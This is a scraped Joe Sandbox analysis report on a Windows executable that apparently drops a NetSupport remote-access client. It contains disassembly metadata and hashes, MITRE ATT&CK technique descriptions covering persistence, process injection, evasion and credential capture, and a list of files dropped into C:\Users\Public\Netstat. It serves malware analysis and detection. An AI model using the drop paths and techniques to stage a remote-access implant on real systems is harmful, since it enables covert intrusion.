Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 819365019-2830328467
Opcode ID: 46c3cce5aab5cc82a9d8ff0d4253417d22b235869f514457b0a8909ae4eb1d0c
Instruction ID: cf35a841ff9db8a25d072bdd62e9da3c8eef3a8b3e547f8f1cf52fd96b7d4918
Opcode Fuzzy Hash: 46c3cce5aab5cc82a9d8ff0d4253417d22b235869f514457b0a8909ae4eb1d0c
Instruction Fuzzy Hash: 3CE04FB570021DABD310CA95DC85ED7B39CEB54354F008429F92887600D6B0F89087A0

Function 110010D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(?,?,?,?), ref: 11001103

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110010E1
m_hWnd, xrefs: 110010E6

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastPostProcesswsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 906220102-2830328467
Opcode ID: 27df700c695a826ec584c3a5c6c16cda0f02aa3721c02321218cde4e7ec8e80e
Instruction ID: e326bc5325dc434b8864e09602644acab64ba33727794dfa8c4f249b36814fc9
Opcode Fuzzy Hash: 27df700c695a826ec584c3a5c6c16cda0f02aa3721c02321218cde4e7ec8e80e
Instruction Fuzzy Hash: 81E04FB970025DAFD314CA95DC45ED6B3ACEB54764F008429F92887600DA70F84087A0

Function 11001110 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 1100113B

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001121
m_hWnd, xrefs: 11001126

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessShowWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1604732272-2830328467
Opcode ID: b62a108dd0f1a298b3da6ec4c3cd6e44d75acd6edd0f1b2899dc5cb61eb0235d
Instruction ID: 825df7ee52a795a689a6901b0494195ba864db9fe7d9b2cdbf909eadc0dc9b6b
Opcode Fuzzy Hash: b62a108dd0f1a298b3da6ec4c3cd6e44d75acd6edd0f1b2899dc5cb61eb0235d
Instruction Fuzzy Hash: 4ED02BB561031CABC314DA92DC41FD2F38CAB20364F004435F52542500D571F54083A4

Function 11001000 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,?), ref: 1100102B

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001011
m_hWnd, xrefs: 11001016

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorExitKillLastMessageProcessTimerwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2229609774-2830328467
Opcode ID: 76242f1f7a5656083f48ec4c6fb46d4250b195dfa3fd92ba0bbd6b47707e0e7b
Instruction ID: d507351e39c60ba8400a42a64aee1b3b281c2e630578985a984e8bb8925e1fd6
Opcode Fuzzy Hash: 76242f1f7a5656083f48ec4c6fb46d4250b195dfa3fd92ba0bbd6b47707e0e7b
Instruction Fuzzy Hash: 21D02B76B4031DABD310C691DC44FD2F39CD714364F008035F55446500D570F8408390

Function 11143320 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 11143347

Strings

1000,50, xrefs: 11143342
1000,50, xrefs: 11143337, 11143341

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _strncpy
String ID: 1000,50$1000,50
API String ID: 2961919466-2776873633
Opcode ID: 81d6864d565fa8250d3fb3330302d5ba6346bad85999c22dbebb076b7baf886a
Instruction ID: bd0c201b9adf6a5d857793fbf3440ac1f90bcd045974f847078f01ed738f2ada
Opcode Fuzzy Hash: 81d6864d565fa8250d3fb3330302d5ba6346bad85999c22dbebb076b7baf886a
Instruction Fuzzy Hash: 7ED0A7706883996FE7008E69EC00B5DBBCC6B01E14F408021FC98CB780DB70F9508351

Function 1110F340 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000,?,1102C44F), ref: 1110F364

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

..\ctl32\Refcount.cpp, xrefs: 1110F34E
this->hReadyEvent, xrefs: 1110F353

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorEventExitLastMessageProcesswsprintf
String ID: ..\ctl32\Refcount.cpp$this->hReadyEvent
API String ID: 2400454052-4183089485
Opcode ID: 41d0f825f3bbd18f317b206de87baf67605da20620eb9fcb5cb917e3173e7c4c
Instruction ID: 9b03986313e8994d60ed52ed66d1c026156e8c3194449c112131b18896cf505e
Opcode Fuzzy Hash: 41d0f825f3bbd18f317b206de87baf67605da20620eb9fcb5cb917e3173e7c4c
Instruction Fuzzy Hash: EDD0223AE142369FD2A09BA8AC06FC2F3B49B08318F018438F00096080DAB0B445CB88

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Netstat\HTCTL32.DLL

C:\Users\Public\Netstat\NSM.LIC

C:\Users\Public\Netstat\PCICHEK.DLL

C:\Users\Public\Netstat\PCICL32.DLL

C:\Users\Public\Netstat\TCCTL32.DLL

C:\Users\Public\Netstat\bild.exe

C:\Users\Public\Netstat\client32.ini

C:\Users\Public\Netstat\msvcr100.dll

C:\Users\Public\Netstat\netsup.bat

C:\Users\Public\Netstat\nskbfltr.inf

C:\Users\Public\Netstat\pcicapi.dll

C:\Users\Public\Netstat\remcmdstub.exe

Static File Info

Windows Analysis Report
d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe

Function 00D8C131 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 199
filesleeptimeCOMMON

Function 00D88BD0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 92
memorywindowCOMMON

Function 00D7A273 Relevance: 7.6, APIs: 5, Instructions: 108
fileCOMMON

Function 00D7F353 Relevance: 51.1, APIs: 22, Strings: 7, Instructions: 314
libraryfileloaderCOMMON

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
